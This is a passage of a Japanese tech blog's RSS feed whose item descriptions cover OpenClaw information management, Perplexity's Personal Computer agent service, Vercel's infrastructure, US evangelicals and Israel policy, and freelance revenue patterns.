&lt;td&gt;土曜 10:00&lt;/td&gt;
&lt;td&gt;weekly-portfolio-image&lt;/td&gt;
&lt;td&gt;週次損益レポート画像&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="実装パターン"&gt;実装パターン&lt;/h2&gt;
&lt;h3 id="1-マスターデータ管理"&gt;1. マスターデータ管理&lt;/h3&gt;
&lt;p&gt;Google スプレッドシートに以下のカラムを用意します。&lt;/p&gt;</description></item><item><title>OpenClawを使いこなす鍵は「情報の一元管理」にある</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%82%92%E4%BD%BF%E3%81%84%E3%81%93%E3%81%AA%E3%81%99%E9%8D%B5%E3%81%AF%E6%83%85%E5%A0%B1%E3%81%AE%E4%B8%80%E5%85%83%E7%AE%A1%E7%90%86%E3%81%AB%E3%81%82%E3%82%8B/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%82%92%E4%BD%BF%E3%81%84%E3%81%93%E3%81%AA%E3%81%99%E9%8D%B5%E3%81%AF%E6%83%85%E5%A0%B1%E3%81%AE%E4%B8%80%E5%85%83%E7%AE%A1%E7%90%86%E3%81%AB%E3%81%82%E3%82%8B/</guid><description>&lt;p&gt;「OpenClawを使ってみたけど、うまくいかなかった」という声をよく聞く。しかし、それはツールの問題ではなく「使い方」の問題かもしれない。@ichiaimarketer氏（いち＠OpenClawガチ勢）のポストから、AIエージェントツールを活用するための本質的なポイントを整理する。&lt;/p&gt;
&lt;h2 id="openclaw活用の本質は情報の一元管理"&gt;OpenClaw活用の本質は「情報の一元管理」&lt;/h2&gt;
&lt;p&gt;同氏の主張はシンプルだ。&lt;strong&gt;OpenClaw活用の90%は「情報の一元管理」にある&lt;/strong&gt;。小手先のテクニックやプロンプトの工夫ではなく、AIに渡す情報の整理こそが成否を分ける。&lt;/p&gt;
&lt;p&gt;情報なしでAIツールを運用すると、メモリ・文脈・判断材料が不足する。これは「派遣社員に会社の情報を一切与えずに仕事を依頼するようなもの」だと同氏は例えている。どれだけ優秀な人材（AI）でも、必要な情報がなければまともな成果は出せない。&lt;/p&gt;
&lt;h2 id="推奨される情報構造"&gt;推奨される情報構造&lt;/h2&gt;
&lt;p&gt;同氏が実践している情報の整理方法は、以下のようなフォルダ構造だ:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;フォルダ&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;経営&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ミッション、ビジョン、議事録&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;マーケティング&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;X投稿、記事コンテンツ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自動化ツール関連&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;日常&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間関係、日記&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Old&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1〜2ヶ月未使用のプロジェクト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;このように業務領域ごとに情報を構造化しておくことで、AIエージェントが必要な文脈を取得しやすくなる。&lt;/p&gt;
&lt;h2 id="なぜ情報の一元管理が重要なのか"&gt;なぜ「情報の一元管理」が重要なのか&lt;/h2&gt;
&lt;p&gt;AIエージェントツールは、与えられた情報をもとに推論・判断・実行を行う。つまり:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;情報が散在している&lt;/strong&gt; → エージェントが必要な文脈を把握できない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情報が整理されている&lt;/strong&gt; → エージェントが的確な判断を下せる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これはOpenClawに限った話ではなく、Claude Codeの &lt;code&gt;CLAUDE.md&lt;/code&gt; や &lt;code&gt;MEMORY.md&lt;/code&gt; によるコンテキスト管理とも通じる考え方だ。AIツールの性能を引き出すには、ツール側の設定だけでなく、人間側の情報整理が不可欠となる。&lt;/p&gt;
&lt;h2 id="実践のヒント"&gt;実践のヒント&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;まず情報を一箇所に集める&lt;/strong&gt; — GitHub、Obsidian、Notionなど、自分に合ったツールでナレッジを集約する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;業務領域ごとに分類する&lt;/strong&gt; — 経営、開発、マーケティングなど、AIが参照しやすい粒度で整理する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期的に棚卸しする&lt;/strong&gt; — 古くなった情報は「Old」フォルダに移動し、ノイズを減らす&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AIに渡すコンテキストを意識する&lt;/strong&gt; — 「このタスクにはどの情報が必要か」を考えてから指示を出す&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;AIエージェントツールの活用で成果が出ない原因は、ツールの性能ではなく情報管理にあることが多い。OpenClawでもClaude Codeでも、AIに適切な情報を渡すための「情報の一元管理」が最も重要な基盤となる。ツールを変える前に、まず自分の情報整理を見直してみることを勧める。&lt;/p&gt;</description></item><item><title>Perplexity Personal Computer — Mac mini を常時稼働AIエージェントに変える新サービス</title><link>https://hdknr.github.io/blogs/posts/2026/03/perplexity-personal-computer-mac-mini-%E3%82%92%E5%B8%B8%E6%99%82%E7%A8%BC%E5%83%8Dai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B%E6%96%B0%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/perplexity-personal-computer-mac-mini-%E3%82%92%E5%B8%B8%E6%99%82%E7%A8%BC%E5%83%8Dai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B%E6%96%B0%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9/</guid><description>&lt;p&gt;Perplexity が開発者カンファレンス「Ask 2026」で発表した &lt;strong&gt;Personal Computer&lt;/strong&gt; は、Mac mini を 24 時間稼働の AI エージェントに変えるサービスです。OpenClaw と同じ「コンピュータ操作型 AI」の領域に参入しつつ、クラウド管理・サブスクリプション型という独自のアプローチを採っています。&lt;/p&gt;
&lt;h2 id="personal-computer-とは"&gt;Personal Computer とは&lt;/h2&gt;
&lt;p&gt;Personal Computer は Perplexity が提供する 2 つ目の AI エージェント製品です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Perplexity Computer&lt;/th&gt;
&lt;th&gt;Personal Computer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;実行環境&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;クラウドサンドボックス&lt;/td&gt;
&lt;td&gt;ユーザーの Mac mini（ローカル）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;特徴&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;タスク分解・マルチモデル&lt;/td&gt;
&lt;td&gt;ローカルファイル・アプリアクセス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;発表&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2026年2月&lt;/td&gt;
&lt;td&gt;2026年3月（Ask 2026）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Personal Computer はハードウェアではなく、Mac mini 上で常時稼働する &lt;strong&gt;永続的な AI エージェント&lt;/strong&gt; です。ローカルのファイルシステムやアプリケーションにアクセスしながら、リサーチ、メール作成、モーニングブリーフの準備などの複雑なタスクを自律的に実行します。&lt;/p&gt;
&lt;h2 id="マルチモデルアーキテクチャ"&gt;マルチモデルアーキテクチャ&lt;/h2&gt;
&lt;p&gt;Perplexity Computer / Personal Computer の基盤となるのは &lt;strong&gt;19 以上のフロンティアモデル&lt;/strong&gt; を統合するマルチモデル設計です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Claude Opus 4.6&lt;/strong&gt;（Anthropic）: コアオーケストレーションエンジン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gemini&lt;/strong&gt;（Google）: ディープリサーチ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ChatGPT 5.2&lt;/strong&gt;（OpenAI）: 長文コンテキスト処理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grok&lt;/strong&gt;（xAI）: 軽量タスクの高速処理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Veo 3.1&lt;/strong&gt;（Google）: 動画生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nano Banana&lt;/strong&gt;: 画像生成&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;タスクを自動的にサブタスクに分解し、各サブタスクに最適なモデルを割り当てる「モデルアグノスティック設計」により、モデルの進化に柔軟に対応できます。&lt;/p&gt;</description></item><item><title>Vercelを使えばインフラエンジニア不要？ Framework-defined Infrastructureが変えるWebアプリ開発</title><link>https://hdknr.github.io/blogs/posts/2026/03/vercel%E3%82%92%E4%BD%BF%E3%81%88%E3%81%B0%E3%82%A4%E3%83%B3%E3%83%95%E3%83%A9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E4%B8%8D%E8%A6%81-framework-defined-infrastructure%E3%81%8C%E5%A4%89%E3%81%88%E3%82%8Bweb%E3%82%A2%E3%83%97%E3%83%AA%E9%96%8B%E7%99%BA/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/vercel%E3%82%92%E4%BD%BF%E3%81%88%E3%81%B0%E3%82%A4%E3%83%B3%E3%83%95%E3%83%A9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E4%B8%8D%E8%A6%81-framework-defined-infrastructure%E3%81%8C%E5%A4%89%E3%81%88%E3%82%8Bweb%E3%82%A2%E3%83%97%E3%83%AA%E9%96%8B%E7%99%BA/</guid><description>&lt;p&gt;「Vercelを使えばそこそこ大規模なアプリケーションまでインフラエンジニア要らずにいけるのよな」——元Yahoo!エンジニアで YouTuber のしまぶー氏（&lt;a href="https://x.com/shimabu_it"&gt;@shimabu_it&lt;/a&gt;）のポストが話題になった。Vercel CEO の Guillermo Rauch 氏の投稿に対するコメントで、「しかも大抵の場合インフラエンジニアがAWSやGCPで構築したものより高機能、高可用性、高パフォーマンス」と踏み込んだ発言をしている。&lt;/p&gt;
&lt;h2 id="vercelが実現するインフラレス開発"&gt;Vercelが実現する「インフラレス」開発&lt;/h2&gt;
&lt;p&gt;Vercelは Next.js の開発元として知られるが、プラットフォームとしての本質は&lt;strong&gt;開発者からインフラの複雑さを隠蔽すること&lt;/strong&gt;にある。&lt;/p&gt;
&lt;h3 id="framework-defined-infrastructurefdi"&gt;Framework-defined Infrastructure（FdI）&lt;/h3&gt;
&lt;p&gt;Vercelが推進する &lt;a href="https://vercel.com/blog/framework-defined-infrastructure"&gt;Framework-defined Infrastructure&lt;/a&gt; は、Infrastructure as Code（IaC）の進化形だ。&lt;/p&gt;
&lt;p&gt;従来のIaCでは、開発者がTerraformやCloudFormationでインフラを明示的に定義する必要があった。FdIでは、&lt;strong&gt;フレームワークのコードからインフラ構成が自動的に導出される&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ビルド時にソースコードを解析し、開発者の意図を理解&lt;/li&gt;
&lt;li&gt;必要なインフラ構成（Edge Functions、Serverless Functions、Static Assets、ISR設定など）を自動生成&lt;/li&gt;
&lt;li&gt;開発者は「何を作るか」に集中し、「どこにデプロイするか」を考える必要がない&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="self-driving-infrastructure"&gt;Self-driving Infrastructure&lt;/h3&gt;
&lt;p&gt;Vercelは &lt;a href="https://vercel.com/blog/self-driving-infrastructure"&gt;Self-driving Infrastructure&lt;/a&gt; というコンセプトも掲げている。本番環境の運用を自律的に管理し、実世界のインサイトを基にアプリケーションコードの改善まで行うというビジョンだ。&lt;/p&gt;
&lt;h2 id="6人のエンジニアで年間360億トークンを処理"&gt;6人のエンジニアで年間360億トークンを処理&lt;/h2&gt;
&lt;p&gt;Vercelの「インフラ不要」の主張を裏付ける事例として、&lt;a href="https://vercel.com/blog/360-billion-tokens-3-million-customers-6-engineers"&gt;Durable社のケース&lt;/a&gt;が象徴的だ。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;6名のエンジニアチーム&lt;/strong&gt;で300万ビジネスをサポート&lt;/li&gt;
&lt;li&gt;年間&lt;strong&gt;360億トークン&lt;/strong&gt;（日次1.1億トークン）を処理&lt;/li&gt;
&lt;li&gt;新しいAIエージェントを&lt;strong&gt;1日で本番環境に展開&lt;/strong&gt;可能&lt;/li&gt;
&lt;li&gt;自社ホスティング比で&lt;strong&gt;3〜4倍のコスト削減&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;創業者は「インフラ構築ではなくエージェント開発に注力できるようになった」と評価している。&lt;/p&gt;
&lt;h2 id="インフラエンジニアは本当に不要になるのか"&gt;インフラエンジニアは本当に不要になるのか？&lt;/h2&gt;
&lt;p&gt;しまぶー氏は以前から「インフラエンジニアは二極化する」と指摘している:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高待遇化&lt;/strong&gt;: クラウドサービスの基盤自体を作れるエンジニア&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;活躍の場が減少&lt;/strong&gt;: アプリケーションのインフラを構築する程度のエンジニア&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「基盤自体を作れるエンジニア」とは、VercelやAWSのサービスそのものを開発・運用する側のスキルセットを指す。具体的には以下のような領域だ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分散システム設計&lt;/strong&gt;: AWS LambdaやVercel Edge Functionsの実行基盤を設計・構築するスキル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンテナランタイム/オーケストレーション&lt;/strong&gt;: Kubernetesを「使う」のではなく「作る・拡張する」レベル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネットワーク基盤&lt;/strong&gt;: CDN、ロードバランサ、DNSを大規模に設計・運用するスキル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ストレージエンジン&lt;/strong&gt;: 分散データベースやオブジェクトストレージの内部実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンパイラ/ランタイム&lt;/strong&gt;: サーバーレスプラットフォームのビルドパイプラインや実行環境の開発&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;つまり「AWS上にアプリをデプロイする」のではなく「AWSのようなサービスを作る」側の人材であり、このレベルのエンジニアはプラットフォームの進化によってむしろ需要が高まっている。&lt;/p&gt;
&lt;h3 id="vercelの基盤は何で動いているのか"&gt;Vercelの基盤は何で動いているのか&lt;/h3&gt;
&lt;p&gt;「基盤を作る」とは具体的にどのレベルなのか。Vercel自身の技術スタックを見ると、その深さがわかる。&lt;/p&gt;
&lt;p&gt;Vercelは当初 AWS Fargate でビルド処理を実行していたが、プロビジョニングに90秒かかる問題があった。そこで2023年に独自のコンピュート基盤「&lt;a href="https://www.infoq.com/news/2025/01/vercel-hive/"&gt;Hive&lt;/a&gt;」を構築し、起動時間を5秒に短縮した。&lt;/p&gt;
&lt;p&gt;Hiveの技術スタックは以下の通りだ:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レイヤー&lt;/th&gt;
&lt;th&gt;技術&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;物理基盤&lt;/td&gt;
&lt;td&gt;ベアメタルサーバー（&amp;ldquo;Boxes&amp;rdquo;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VM隔離&lt;/td&gt;
&lt;td&gt;Firecracker microVM + KVM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ビルド基盤&lt;/td&gt;
&lt;td&gt;Hive（独自コントロールプレーン）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;関数実行&lt;/td&gt;
&lt;td&gt;AWS Lambda、Edge Functions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;オーケストレーション&lt;/td&gt;
&lt;td&gt;Amazon EKS（一部）+ 独自制御&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ストレージ/キュー&lt;/td&gt;
&lt;td&gt;Amazon S3、SQS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ネットワーク&lt;/td&gt;
&lt;td&gt;Amazon Global Accelerator&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注目すべきは、&lt;strong&gt;OpenShiftのような既存のKubernetesディストリビューションは使われていない&lt;/strong&gt;点だ。Firecracker はAWSがLambdaとFargateのために開発したオープンソースのmicroVMで、約300ミリ秒でVMを起動できる。Vercelはこの Firecracker + KVM の上に独自のオーケストレーション層を構築している。&lt;/p&gt;</description></item><item><title>アメリカがイスラエルと「心中」する本当の理由 — 福音派4400万人の宗教的圧力</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E3%81%8C%E3%82%A4%E3%82%B9%E3%83%A9%E3%82%A8%E3%83%AB%E3%81%A8%E5%BF%83%E4%B8%AD%E3%81%99%E3%82%8B%E6%9C%AC%E5%BD%93%E3%81%AE%E7%90%86%E7%94%B1-%E7%A6%8F%E9%9F%B3%E6%B4%BE4400%E4%B8%87%E4%BA%BA%E3%81%AE%E5%AE%97%E6%95%99%E7%9A%84%E5%9C%A7%E5%8A%9B/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E3%81%8C%E3%82%A4%E3%82%B9%E3%83%A9%E3%82%A8%E3%83%AB%E3%81%A8%E5%BF%83%E4%B8%AD%E3%81%99%E3%82%8B%E6%9C%AC%E5%BD%93%E3%81%AE%E7%90%86%E7%94%B1-%E7%A6%8F%E9%9F%B3%E6%B4%BE4400%E4%B8%87%E4%BA%BA%E3%81%AE%E5%AE%97%E6%95%99%E7%9A%84%E5%9C%A7%E5%8A%9B/</guid><description>&lt;p&gt;アメリカとイスラエルは「普通の同盟国」ではない。日米同盟やNATOのように論理で説明できる同盟とは、まったく性質が異なる。その背景にある「見えない構造」を読み解く。&lt;/p&gt;
&lt;h2 id="アメリカとイスラエルの関係は論理だけでは説明できない"&gt;アメリカとイスラエルの関係は論理だけでは説明できない&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;日米同盟&lt;/strong&gt; → 「中国に対抗するため」「太平洋の安定のため」という論理で説明できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NATO&lt;/strong&gt; → 「ロシアの脅威に対する集団防衛」という論理がある&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;しかし、アメリカとイスラエルの関係には、論理だけでは説明できない部分がある。&lt;/p&gt;
&lt;h2 id="そもそも福音派とは何か--キリスト教の分岐を整理する"&gt;そもそも「福音派」とは何か？ — キリスト教の分岐を整理する&lt;/h2&gt;
&lt;p&gt;この記事を理解するために、まずキリスト教の大きな流れを押さえておこう。&lt;/p&gt;
&lt;h3 id="キリスト教の3大グループ"&gt;キリスト教の3大グループ&lt;/h3&gt;
&lt;p&gt;キリスト教は大きく分けて3つのグループがある：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;グループ&lt;/th&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;th&gt;代表的な国・地域&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;カトリック&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ローマ教皇を頂点とする最大勢力。伝統・儀式を重視&lt;/td&gt;
&lt;td&gt;イタリア、フランス、南米&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;東方正教会&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;カトリックと1054年に分裂。各国の独立した教会&lt;/td&gt;
&lt;td&gt;ロシア、ギリシャ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;プロテスタント&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1517年にカトリックから分裂。「聖書だけが権威」&lt;/td&gt;
&lt;td&gt;ドイツ、イギリス、アメリカ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;日本で言えば、仏教が「禅宗」「浄土真宗」「日蓮宗」などに分かれているのと似ている。&lt;/p&gt;
&lt;h3 id="プロテスタントの中の福音派"&gt;プロテスタントの中の「福音派」&lt;/h3&gt;
&lt;p&gt;プロテスタントはさらに細かく分かれる。ここが重要なポイント。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主流派（メインライン）&lt;/strong&gt; — 聖公会、長老派、メソジストなど。聖書を歴史的・文化的文脈で解釈する。比較的リベラル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;福音派（エヴァンジェリカル）&lt;/strong&gt; — 「聖書は神の言葉そのもの。書かれていることは文字通り正しい」と信じる。信仰体験（「生まれ変わり」）を重視&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;福音派はさらに、穏健な信仰生活を送るグループから、政治活動に積極的なグループ、聖書の預言を文字通り信じる「ディスペンセーション主義」まで幅広い。今回の話に関わるのは、主に政治的に活発な層だ。&lt;/p&gt;
&lt;h3 id="なぜアメリカで福音派がこんなに強いのか"&gt;なぜアメリカで福音派がこんなに強いのか？&lt;/h3&gt;
&lt;p&gt;歴史的な背景がある：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;建国の経緯&lt;/strong&gt; — アメリカはイギリスの宗教的迫害を逃れた清教徒（ピューリタン）が建てた国。「信仰の自由」が国の根幹にある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;大覚醒運動（18〜19世紀）&lt;/strong&gt; — アメリカで何度も起きた大規模な信仰復興運動。個人の回心体験を重視する福音派の土壌を作った&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;20世紀の反動&lt;/strong&gt; — 進化論や聖書批評学（聖書を学問的に分析する手法）に対する反発として、「聖書は文字通り正しい」と主張する原理主義運動が勢いを増した&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1970年代〜政治参入&lt;/strong&gt; — 中絶合法化（1973年）や公立学校での祈り禁止への反発から、福音派が共和党と結びつき、「宗教右派」として政治に本格参入した&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;つまり、福音派が政治力を持つのは最近のことではなく、アメリカの歴史そのものに根ざしている。&lt;/p&gt;
&lt;h2 id="イスラエルを応援する宗教的義務があると信じる4400万人"&gt;「イスラエルを応援する宗教的義務がある」と信じる4400万人&lt;/h2&gt;
&lt;p&gt;では、この福音派がなぜイスラエルと結びつくのか。&lt;/p&gt;
&lt;p&gt;福音派の中でも特に「聖書に書いてあることは文字通り正しい」と強く信じる人たちが、カトリックやプロテスタントの主流派とはまったく異なるイスラエル観を持っている。&lt;/p&gt;
&lt;p&gt;その人数がすごい：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アメリカの白人福音派：&lt;strong&gt;約4,400万人&lt;/strong&gt;（全人口の約13%）&lt;/li&gt;
&lt;li&gt;共和党支持率：&lt;strong&gt;61%&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;トランプへの投票率：&lt;strong&gt;80%以上&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;つまり、共和党にとって最大の票田。トランプが大統領でいられるのは、この人たちの票があるから。&lt;/p&gt;
&lt;h3 id="地域別分布--バイブルベルトに集中"&gt;地域別分布 — 「バイブルベルト」に集中&lt;/h3&gt;
&lt;p&gt;福音派は全米に存在するが、その分布は極端に偏っている。Pew Research Centerの調査による州別の福音派プロテスタント比率を見ると、南部への集中が一目瞭然だ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;福音派比率の高い州（上位10州）：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;順位&lt;/th&gt;
&lt;th&gt;州&lt;/th&gt;
&lt;th&gt;福音派比率&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;テネシー&lt;/td&gt;
&lt;td&gt;52%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;アラバマ&lt;/td&gt;
&lt;td&gt;49%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;ケンタッキー&lt;/td&gt;
&lt;td&gt;49%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;オクラホマ&lt;/td&gt;
&lt;td&gt;47%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;アーカンソー&lt;/td&gt;
&lt;td&gt;46%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;ミシシッピ&lt;/td&gt;
&lt;td&gt;41%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;ウェストバージニア&lt;/td&gt;
&lt;td&gt;39%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;ジョージア&lt;/td&gt;
&lt;td&gt;38%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;ミズーリ&lt;/td&gt;
&lt;td&gt;36%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;ノースカロライナ&lt;/td&gt;
&lt;td&gt;35%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;福音派比率の低い州（下位5州）：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>月商100〜300万の作り方は2パターンしかない — 「1本で100万」vs「20万×5本」</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%9C%88%E5%95%86100300%E4%B8%87%E3%81%AE%E4%BD%9C%E3%82%8A%E6%96%B9%E3%81%AF2%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E3%81%97%E3%81%8B%E3%81%AA%E3%81%84-1%E6%9C%AC%E3%81%A7100%E4%B8%87vs20%E4%B8%875%E6%9C%AC/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%9C%88%E5%95%86100300%E4%B8%87%E3%81%AE%E4%BD%9C%E3%82%8A%E6%96%B9%E3%81%AF2%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E3%81%97%E3%81%8B%E3%81%AA%E3%81%84-1%E6%9C%AC%E3%81%A7100%E4%B8%87vs20%E4%B8%875%E6%9C%AC/</guid><description>&lt;p&gt;株式会社SWIFT代表の井口亮平氏（&lt;a href="https://x.com/Ryohei_Iguchi"&gt;@Ryohei_Iguchi&lt;/a&gt;）がX（旧Twitter）で公開した記事が、月商100〜300万円を目指すフリーランスや小規模事業者にとって示唆に富む内容だったので紹介する。&lt;/p&gt;
&lt;h2 id="2つのパターン"&gt;2つのパターン&lt;/h2&gt;
&lt;p&gt;月商100〜300万円を作る方法は、突き詰めると &lt;strong&gt;2パターン&lt;/strong&gt; しかないという。&lt;/p&gt;
&lt;h3 id="パターン1-100万を1本取る"&gt;パターン1: 100万を1本取る&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;高単価案件を1本受注する戦略&lt;/li&gt;
&lt;li&gt;例: コンサルティング、システム開発、ハイエンドなクリエイティブ制作&lt;/li&gt;
